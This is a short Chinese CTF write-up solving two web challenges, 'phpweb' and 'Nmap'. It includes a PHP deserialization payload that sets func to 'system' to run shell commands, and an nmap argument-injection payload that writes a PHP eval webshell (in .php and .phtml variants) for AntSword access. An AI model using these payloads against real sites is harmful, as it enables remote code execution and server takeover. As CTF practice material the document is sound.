phpweb
f12查看源代码,可以看到隐藏表单:
网页会不断刷新,为了方便测试+提交,用bp抓包:
fuzz,经测试,不能执行系统命令:
查看index.php的源代码(file_get_contents/highlight_file/readfile):
<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
过滤了好多函数,把执行系统命令的全部给过滤了,不能侥幸了(。
没有过滤(反)序列化函数serialize(),参考:
https://www.520mwx.com/view/10191
unserialize()后会导致__wakeup()或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup()或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。
<?php class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $test = new Test(); $test -> p = "find /tmp|xargs grep flag"; $test -> func = "system"; print_r(urlencode(serialize($test))); ?>
Nmap
以前记过:
实现RCE的思路就是nmap可以将记录导出为文件。
-oN 将标准输出直接写入指定的文件
-oX 输出xml文件
-oS 将所有的输出都改为大写
-oG 输出便于通过bash或者perl处理的格式,非xml
escapeshellarg会首先在单引号前加反斜线,然后将单引号分割的几部分都用单引号括起来
escapeshellcmd会将&#;`|*?~<>^()[]{}$\, \x0A 和 \xFF以及不配对的单/双引号转义
这两个函数配合使用就会导致多个参数的注入。
正常的payload:
'<?php @eval($_POST["cmd"]);?> -oG shaw.php'
但是这道题经测试过滤了php,把标签换为短风格,后缀改为php可解析的扩展名“phtml”
' <? @eval($_POST["cmd"]);?> -oG shaw.phtml '
蚁剑连接即可。